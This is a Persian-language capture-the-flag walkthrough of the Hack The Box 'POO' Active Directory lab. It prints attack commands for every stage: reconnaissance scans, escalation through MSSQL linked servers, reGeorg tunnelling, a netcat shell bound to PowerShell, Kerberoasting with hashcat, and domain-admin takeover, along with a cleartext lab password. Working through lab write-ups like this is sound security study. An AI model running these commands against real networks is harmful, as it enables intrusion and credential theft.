در این مقاله، عبور نه تنها یک دستگاه، بلکه کل مینی آزمایشگاه از سایت را تجزیه و تحلیل خواهیم کرد
همانطور که در توضیحات گفته شد، POO برای آزمایش مهارت ها در تمام مراحل حملات در یک محیط کوچک Active Directory طراحی شده است. هدف به خطر انداختن یک میزبان موجود، افزایش امتیازات و در نهایت به خطر انداختن کل دامنه با جمعآوری 5 پرچم در این فرآیند است.
اتصال به آزمایشگاه از طریق VPN می باشد. توصیه می شود از یک رایانه در حال کار یا از میزبانی که داده های مهمی برای شما وجود دارد وصل نشوید، زیرا وارد یک شبکه خصوصی با افرادی می شوید که چیزی در مورد امنیت اطلاعات می دانند.
اطلاعات سازمانی
برای اینکه بتوانید از مقالات، نرم افزارها و سایر اطلاعات جدید مطلع شوید، من ایجاد کردم
تمام اطلاعات فقط برای اهداف آموزشی ارائه شده است. نگارنده این سند هیچ مسئولیتی در قبال خسارات وارده به کسی در نتیجه استفاده از دانش و روش های به دست آمده در نتیجه مطالعه این سند ندارد.
معرفی
این پایان بازی از دو ماشین تشکیل شده و شامل 5 پرچم است.
توضیحات و آدرس هاست موجود نیز آورده شده است.
!
پرچم Recon
این دستگاه دارای آدرس IP 10.13.38.11 است که من به /etc/hosts اضافه می کنم.
10.13.38.11 poo.htb
اولین قدم اسکن پورت های باز است. از آنجایی که اسکن تمام پورت ها با nmap زمان زیادی می برد، ابتدا این کار را با masscan انجام می دهم. ما تمام پورت های TCP و UDP را از رابط tun0 با سرعت 500pps اسکن می کنیم.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
حال، برای دریافت اطلاعات دقیق تر در مورد سرویس هایی که روی پورت ها اجرا می شوند، اجازه دهید اسکن را با گزینه -A اجرا کنیم.
nmap -A poo.htb -p80,1433
بنابراین، ما خدمات IIS و MSSQL را داریم. در این صورت به نام DNS واقعی دامنه و کامپیوتر پی خواهیم برد. در وب سرور، صفحه اصلی IIS از ما استقبال می کند.
بیایید روی دایرکتوری ها تکرار کنیم. من برای این کار از گوباستر استفاده می کنم. در پارامترها تعداد 128 جریان (-t)، URL (-u)، فرهنگ لغت (-w) و پسوندهای مورد علاقه ما (-x) را مشخص می کنیم.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
بنابراین، ما احراز هویت HTTP را برای دایرکتوری /admin و همچنین فایل ذخیره سازی سرویس دسکتاپ .DS_Store در دسترس داریم. DS_Store فایل هایی هستند که تنظیمات کاربر را برای یک پوشه ذخیره می کنند، مانند لیستی از فایل ها، مکان نماد، تصویر پس زمینه انتخاب شده. چنین فایلی ممکن است در فهرست وب سرور توسعه دهندگان وب قرار گیرد. بنابراین، اطلاعاتی در مورد محتویات دایرکتوری به دست می آوریم. برای این شما می توانید استفاده کنید
python3 dsstore_crawler.py -i http://poo.htb/
ما محتویات دایرکتوری را دریافت می کنیم. جالب ترین چیز در اینجا دایرکتوری dev / است که می توانیم منابع و فایل های db را در دو شاخه از آن مشاهده کنیم. اما اگر سرویس در برابر ShortName IIS آسیب پذیر باشد، می توانیم از 6 کاراکتر اول نام فایل ها و دایرکتوری ها استفاده کنیم. می توانید با استفاده از این آسیب پذیری بررسی کنید
و یک فایل متنی پیدا می کنیم که با "poo_co" شروع می شود. بدون دانستن اینکه چه کاری باید انجام دهم، به سادگی تمام کلماتی که با "co" شروع می شوند را از فرهنگ لغت فهرست ها انتخاب کردم.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
و با wfuzz دوباره تکرار کنید.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
و کلمه مناسب را پیدا کنید! ما به این فایل نگاه می کنیم، اعتبارنامه ها را ذخیره می کنیم (با قضاوت بر اساس پارامتر DBNAME، آنها از MSSQL هستند).
پرچم را تحویل می دهیم و 20 درصد پیش می رویم.
هو پرچم
ما به MSSQL متصل می شویم، من از DBeaver استفاده می کنم.
ما هیچ چیز جالبی در این پایگاه داده پیدا نکردیم، بیایید یک ویرایشگر SQL ایجاد کنیم و بررسی کنیم که چه کاربرانی هستند.
SELECT name FROM master..syslogins;
ما دو کاربر داریم. بیایید امتیازات خود را بررسی کنیم.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
بنابراین، هیچ امتیازی وجود ندارد. بیایید سرورهای لینک شده را ببینیم، من در مورد این تکنیک به طور مفصل نوشتم
SELECT * FROM master..sysservers;
بنابراین ما یک SQL Server دیگر پیدا می کنیم. بیایید اجرای دستورات در این سرور را با استفاده از openquery() بررسی کنیم.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
و حتی می توانیم یک درخت پرس و جو بسازیم.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
واقعیت این است که وقتی به یک سرور لینک شده درخواست می دهیم، این درخواست در متن یک کاربر دیگر اجرا می شود! بیایید ببینیم چه زمینه کاربری را روی سرور پیوند داده شده اجرا می کنیم.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
و حالا ببینیم درخواست از سرور لینک شده به سرور ما در چه زمینه ای اجرا می شود!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
بنابراین، این یک زمینه DBO است که باید تمام امتیازات را داشته باشد. اجازه دهید در صورت درخواست از یک سرور پیوندی، امتیازات را بررسی کنیم.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
همانطور که می بینید، ما همه امتیازات را داریم! بیایید مدیر خود را اینگونه بسازیم. اما آنها به آنها اجازه عبور از openquery را نمی دهند، اجازه دهید این کار را از طریق EXECUTE AT انجام دهیم.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
و اکنون با اعتبار کاربر جدید ارتباط برقرار می کنیم، پایگاه داده پرچم جدید را مشاهده می کنیم.
این پرچم را تحویل می دهیم و جلوتر می رویم.
پرچم عقب
بیایید پوسته را با استفاده از MSSQL دریافت کنیم، من از mssqlclient از بسته impacket استفاده می کنم.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
ما باید رمز عبور دریافت کنیم و اولین چیزی که قبلاً با آن آشنا شده ایم سایت است. بنابراین، ما به یک پیکربندی وب سرور نیاز داریم (پرتاب یک پوسته راحت غیرممکن است، ظاهراً فایروال کار می کند).
اما دسترسی ممنوع است. اگرچه میتوانیم فایل را از MSSQL بخوانیم، فقط باید بدانیم چه زبانهای برنامهنویسی پیکربندی شدهاند. و در پوشه MSSQL متوجه می شویم که پایتون وجود دارد.
سپس مشکلی برای خواندن فایل web.config وجود ندارد.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
با یافتن اعتبار، به /admin بروید و پرچم را بردارید.
پرچم پایه
در واقع استفاده از فایروال مشکلاتی دارد، اما با نگاهی به تنظیمات شبکه متوجه می شویم که از پروتکل IPv6 نیز استفاده شده است!
این آدرس را به /etc/hosts اضافه کنید.
dead:babe::1001 poo6.htb
بیایید دوباره هاست را اسکن کنیم، اما این بار از طریق IPv6.
و سرویس WinRM از طریق IPv6 در دسترس است. بیایید با اعتبار یافت شده ارتباط برقرار کنیم.
یک پرچم روی دسکتاپ وجود دارد، آن را تحویل دهید.
پرچم P00ned
پس از شناسایی بر روی میزبان با
setspn.exe -T intranet.poo -Q */*
بیایید دستور را از طریق MSSQL اجرا کنیم.
به این ترتیب، ما SPN کاربران p00_hr و p00_adm را دریافت می کنیم، به این معنی که آنها در برابر حمله ای مانند Kerberoasting آسیب پذیر هستند. به طور خلاصه، ما می توانیم هش رمزهای عبور آنها را دریافت کنیم.
ابتدا باید یک پوسته پایدار از طرف کاربر MSSQL دریافت کنید. اما از آنجایی که دسترسی ما محدود است، فقط از طریق پورت های 80 و 1433 با هاست ارتباط داریم. اما امکان تونل سازی ترافیک از طریق پورت 80 وجود دارد! برای این ما استفاده می کنیم
اما زمانی که سعی می کنیم به آن دسترسی پیدا کنیم، با خطای 404 مواجه می شویم، یعنی فایل های *.aspx اجرا نمی شوند. برای اجرای فایل های با این پسوندها، ASP.NET 4.5 را به صورت زیر نصب کنید.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
و اکنون، هنگام دسترسی به tunnel.aspx، پاسخ میگیریم که همه چیز آماده است.
بیایید بخش مشتری برنامه را شروع کنیم که ترافیک را انتقال می دهد. ما تمام ترافیک پورت 5432 را به سرور ارسال می کنیم.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
و ما از زنجیره های پراکسی برای ارسال ترافیک هر برنامه ای از طریق پروکسی خود استفاده می کنیم. بیایید این پروکسی را به فایل پیکربندی /etc/proxychains.conf اضافه کنیم.
حالا بیایید برنامه را روی سرور آپلود کنیم
اکنون، از طریق MSSQL، شنونده را راه اندازی می کنیم.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
و از طریق پروکسی خود وصل می شویم.
proxychains rlwrap nc poo.htb 4321
و بیایید هش ها را بگیریم.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
در مرحله بعد، باید روی این هش ها تکرار کنید. از آنجایی که rockyou فرهنگ لغت داده رمز عبور نداشت، من از همه فرهنگ لغت های رمزهای عبور ارائه شده در Seclists استفاده کردم. برای شمارش از hashcat استفاده می کنیم.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
و ما هر دو رمز عبور را پیدا می کنیم، اولی در فرهنگ لغت dutch_passwordlist.txt و دومی در Keyboard-Combinations.txt.
و بنابراین ما سه کاربر داریم، به دامین کنترلر می رویم. بیایید ابتدا آدرس او را پیدا کنیم.
عالی است، ما آدرس IP کنترل کننده دامنه را یاد گرفته ایم. بیایید همه کاربران دامنه و همچنین اینکه کدام یک از آنها مدیر هستند را دریابیم. برای دانلود اسکریپت برای دریافت اطلاعات PowerView.ps1. سپس با استفاده از evil-winrm وصل می شویم و دایرکتوری را با اسکریپت در پارامتر -s مشخص می کنیم. و سپس فقط اسکریپت PowerView را بارگذاری کنید.
اکنون به تمام عملکردهای آن دسترسی داریم. کاربر p00_adm مانند یک کاربر ممتاز به نظر می رسد، بنابراین ما در زمینه آن کار خواهیم کرد. بیایید یک شی PSCredential برای این کاربر ایجاد کنیم.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
اکنون تمام دستورات Powershell که در آن Creds را مشخص می کنیم از طرف p00_adm اجرا می شوند. بیایید لیستی از کاربران و ویژگی AdminCount را نمایش دهیم.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
و بنابراین، کاربر ما واقعاً ممتاز است. ببینیم به چه گروه هایی تعلق دارد.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
در نهایت تأیید می کنیم که کاربر یک سرپرست دامنه است. این به آن حق ورود از راه دور به کنترل کننده دامنه را می دهد. بیایید سعی کنیم با استفاده از تونل خود با WinRM وارد شوید. هنگام استفاده از evil-winrm از خطاهای صادر شده توسط reGeorg گیج شدم.
سپس از یکی دیگر ساده تر استفاده می کنیم،
ما سعی می کنیم وصل شویم و در سیستم هستیم.
اما هیچ پرچمی وجود ندارد. سپس به کاربر نگاه کنید و دسکتاپ ها را بررسی کنید.
در mr3ks پرچم را می یابیم و آزمایشگاه 100٪ تکمیل شده است.
همین. به عنوان بازخورد، در مورد اینکه آیا چیز جدیدی از این مقاله یاد گرفتید و برای شما مفید بود یا خیر، نظر دهید.
می توانید به ما بپیوندید
منبع: www.habr.com